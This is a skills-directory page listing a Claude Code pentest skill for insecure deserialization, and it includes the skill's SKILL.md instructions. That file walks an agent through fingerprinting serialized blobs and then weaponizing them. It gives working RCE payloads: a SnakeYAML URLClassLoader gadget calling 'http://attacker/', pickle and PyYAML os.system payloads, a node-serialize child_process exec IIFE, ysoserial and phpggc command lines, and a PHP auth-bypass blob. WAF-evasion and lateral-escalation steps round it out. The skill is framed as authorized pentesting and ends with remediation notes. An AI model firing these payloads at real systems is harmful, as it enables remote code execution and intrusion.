Skip to content
Back to skills

Deserialization

ASecurity

Insecure deserialization across Java, PHP, Python, .NET, Ruby, and Node — untrusted serialized data instantiated into gadget chains for RCE. Detection-first via format fingerprint and URLDNS/OAST, then language-specific gadget tooling. Tier 1. Payloads: payloads/deserialization.md. Use for serialized cookies/tokens/params, RMI/JMX, Jackson/XStream/SnakeYAML, pickle, ViewState.

  • 16 stars
  • 0 votes
  • 0 copies
  • 5 views
  • Added November 17, 2026
securitypythonrustjavarubyphpnodespringapibackend

Works with

  • api
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill deserialization --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Deserialization?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Deserialization
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-deserialization/badge)](https://www.skillsdirectory.com/skills/anandjogawade-deserialization)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: deserialization
description: "Insecure deserialization across Java, PHP, Python, .NET, Ruby, and Node — untrusted serialized data instantiated into gadget chains for RCE. Detection-first via format fingerprint and URLDNS/OAST, then language-specific gadget tooling. Tier 1. Payloads: payloads/deserialization.md. Use for serialized cookies/tokens/params, RMI/JMX, Jackson/XStream/SnakeYAML, pickle, ViewState."
---

# Insecure Deserialization

Untrusted serialized bytes get deserialized into live objects → gadget chain → RCE. Fingerprint the format, confirm safely, then weaponize per language.

## Trigger phrases
`deserialization, insecure deserialization, ysoserial, gadget chain, pickle, viewstate, snakeyaml, jackson rce, marshal`

## Method
1. **Fingerprint the blob** (${CLAUDE_PLUGIN_ROOT}/payloads/deserialization.md): Java `AC ED 00 05` / b64 `rO0` (gzip `H4sIA`); .NET BinaryFormatter `00 01 00 00 00 FF FF FF FF` / `AAEAAAD`; ViewState `FF01`/`/w`; PHP `O:`/`a:`/`s:` / `Tz`; Python pickle `80 04 95` / `gASV`; Ruby Marshal `04 08` / `BAgK`. Check Content-Type (`application/x-java-serialized-object`), cookies, hidden fields, API bodies, message queues.
2. **Detection-first (safe):** send a harmless OAST gadget before any RCE — Java `ysoserial URLDNS http://<id>.oast`, PHP phpggc URLDNS-style/`-s` soft, pickle `__reduce__` returning a DNS lookup. A callback confirms the sink without running commands. Use `GadgetProbe` + DNS to map classpath.
3. **Weaponize per language** (below), smallest-footprint command first (`id`/`whoami` or OAST `nslookup`), honoring Tier/RoE for intrusive steps on production.

## Per-language gadgets
- **Java:** `ysoserial.jar CommonsCollections1..7 / CommonsBeanutils1 / Spring1 / ROME / Hibernate1 / Groovy1 / Jdk7u21 (pure-JDK) 'cmd'`. Non-native unmarshallers via **marshalsec** (SnakeYAML, XStream, Hessian/Burlap, Jackson, JsonIO) → JDK-only RCE. Jackson polymorphic (`@JsonTypeInfo`) CVEs: CVE-2017-7525 (TemplatesImpl), CVE-2019-12384 (logback H2 RUNSCRIPT), CVE-2020-36180 (dbcp2). SnakeYAML `!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker/"]]]]`.
- **PHP:** `unserialize()` + magic methods (`__wakeup`/`__destruct`/`__toString`). Pre-built chains via **phpggc** (`phpggc monolog/rce1 'phpinfo();' -s`, `phpggc Monolog/RCE2 system id -p phar -o /tmp/x.ini`). Type-juggling auth bypass `a:2:{s:8:"username";b:1;s:8:"password";b:1;}`. See `php-object-injection`.
- **Python:** sinks `pickle.loads`, `yaml.unsafe_load`, `jsonpickle`, `pandas.read_pickle`, `joblib.load`. `__reduce__` → `(os.system,("id",))`. YAML `!!python/object/apply:os.system ["id"]` (PyYAML ≥6 only via `unsafe_load`/`UnsafeLoader`).
- **.NET:** `ysoserial.net`/`ysonet` — `-f Json.Net -g ObjectDataProvider`, `-f BinaryFormatter -g PSObject`, `-f LosFormatter -g TypeConfuseDelegate`, `-p ViewState`. Gadgets ObjectDataProvider/TypeConfuseDelegate/DataSet. See `viewstate`.
- **Ruby:** Marshal `04 08` universal RCE chain (version-specific), Oj/`Psych` unsafe load.
- **Node:** `node-serialize` IIFE `{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}`; `funcster`, `serialize-to-js`; prototype-pollution → gadget.

## Modern / rare techniques
- [NEW] **marshalsec non-native sinks** — modern targets drop raw `AC ED` but still unmarshal YAML/JSON/XML unsafely.
- [NEW] **JSF/JSP ViewState RCE** (Mojarra/MyFaces, default DES-ECB+HMAC-SHA1; known default secrets) → forge ViewState (`jexboss`, ForgeRock CVE-2021-35464). See `viewstate`.
- [NEW] **.NET serialization-binder bypass** (CodeWhite 2022) for apps that added a custom `SerializationBinder` as mitigation.
- [NEW] **New Laravel POP chain** (Quarkslab 2024); **phar deserialization** without explicit `unserialize()` → `php-object-injection`.

## Bypass / evasion
${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md: gzip+base64 wrap, alternate charset, swap native format for YAML/JSON unmarshaller, custom-binder bypass, split blob across params.

## Escalation / chaining
RCE → host/`command-injection` → `cloud-pentest`/lateral. PHP → `php-object-injection`; .NET ViewState → `viewstate` + `aspnet-padding-oracle`. Classpath recon via GadgetProbe before firing.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP): `ysoserial`, `marshalsec`, `ysoserial.net`/`ysonet`, `phpggc`, `GadgetProbe`, `Blacklist3r`, `jexboss`, Burp Java-Deserialization-Scanner; interactsh/Collaborator for URLDNS. If a Burp MCP is present, route traffic through Burp and send blobs to Repeater. Windows-local last resort. See `zazy-orchestrator`.

## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. Always land a URLDNS/OAST callback before concluding a sink is non-exploitable. Report true positives only.

## Evidence
The serialized blob + fingerprint, the OAST callback (detection), the gadget payload and resulting command output (exploitation), affected input, impact. Remediation: don't deserialize untrusted data; use data-only formats with strict schemas; allowlist classes / disable polymorphic typing; sign+encrypt state; patch gadget libs.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.